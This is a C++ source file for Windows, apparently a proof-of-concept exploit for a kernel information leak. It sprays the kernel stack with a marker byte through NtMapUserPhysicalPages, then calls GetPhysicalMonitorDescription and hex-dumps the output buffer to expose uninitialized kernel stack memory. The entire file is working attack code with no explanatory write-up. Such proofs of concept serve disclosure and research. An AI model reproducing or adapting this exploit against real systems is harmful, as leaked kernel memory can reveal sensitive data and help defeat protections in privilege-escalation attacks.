#include <Windows.h>
#include <PhysicalMonitorEnumerationAPI.h>
#include <cstdio>

extern "C"
NTSTATUS WINAPI NtMapUserPhysicalPages(
  PVOID BaseAddress,
  ULONG NumberOfPages,
  PULONG PageFrameNumbers
  );

NTSTATUS(WINAPI *GetPhysicalMonitorDescription)(
  _In_   HANDLE hMonitor,
  _In_   DWORD dwPhysicalMonitorDescriptionSizeInChars,
  _Out_  LPWSTR szPhysicalMonitorDescription
  );

#define PHYSICAL_MONITOR_DESCRIPTION_SIZE 128
#define STATUS_SUCCESS                    0

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PVOID ptr, BYTE byte, ULONG size) {
  PBYTE _ptr = (PBYTE)ptr;
  for (ULONG i = 0; i < size; i++) {
    _ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static SIZE_T buffer[1024];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  NtMapUserPhysicalPages(buffer, ARRAYSIZE(buffer), (PULONG)buffer);

  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

int main() {
  WCHAR OutputBuffer[PHYSICAL_MONITOR_DESCRIPTION_SIZE];

  HMODULE hGdi32 = LoadLibrary(L"gdi32.dll");
  GetPhysicalMonitorDescription = (NTSTATUS(WINAPI *)(HANDLE, DWORD, LPWSTR))GetProcAddress(hGdi32, "GetPhysicalMonitorDescription");

  // Create a window for referencing a monitor.
  HWND hwnd = CreateWindowW(L"BUTTON", L"TestWindow", WS_OVERLAPPEDWINDOW | WS_VISIBLE,
                            CW_USEDEFAULT, CW_USEDEFAULT, 100, 100, NULL, NULL, 0, 0);

  /////////////////////////////////////////////////////////////////////////////
  // Source: https://msdn.microsoft.com/en-us/library/windows/desktop/dd692950(v=vs.85).aspx
  /////////////////////////////////////////////////////////////////////////////
  HMONITOR hMonitor = NULL;
  DWORD cPhysicalMonitors;
  LPPHYSICAL_MONITOR pPhysicalMonitors = NULL;

  // Get the monitor handle.
  hMonitor = MonitorFromWindow(hwnd, MONITOR_DEFAULTTOPRIMARY);

  // Get the number of physical monitors.
  BOOL bSuccess = GetNumberOfPhysicalMonitorsFromHMONITOR(hMonitor, &cPhysicalMonitors);

  if (bSuccess) {
    // Allocate the array of PHYSICAL_MONITOR structures.
    pPhysicalMonitors = (LPPHYSICAL_MONITOR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cPhysicalMonitors * sizeof(PHYSICAL_MONITOR));

    if (pPhysicalMonitors != NULL) {
      // Get the array.
      bSuccess = GetPhysicalMonitorsFromHMONITOR(hMonitor, cPhysicalMonitors, pPhysicalMonitors);

      if (bSuccess) {
        for (DWORD i = 0; i < cPhysicalMonitors; i++) {
          RtlZeroMemory(OutputBuffer, sizeof(OutputBuffer));
          
          SprayKernelStack();

          NTSTATUS st = GetPhysicalMonitorDescription(pPhysicalMonitors[i].hPhysicalMonitor, PHYSICAL_MONITOR_DESCRIPTION_SIZE, OutputBuffer);
          if (st == STATUS_SUCCESS) {
            PrintHex((PBYTE)OutputBuffer, sizeof(OutputBuffer));
          } else {
            printf("[-] GetPhysicalMonitorDescription failed, %x\n", st);
          }
        }

        // Close the monitor handles.
        bSuccess = DestroyPhysicalMonitors(cPhysicalMonitors, pPhysicalMonitors);
      }

      // Free the array.
      HeapFree(GetProcessHeap(), 0, pPhysicalMonitors);
    }
  }

  DestroyWindow(hwnd);

  return 0;
}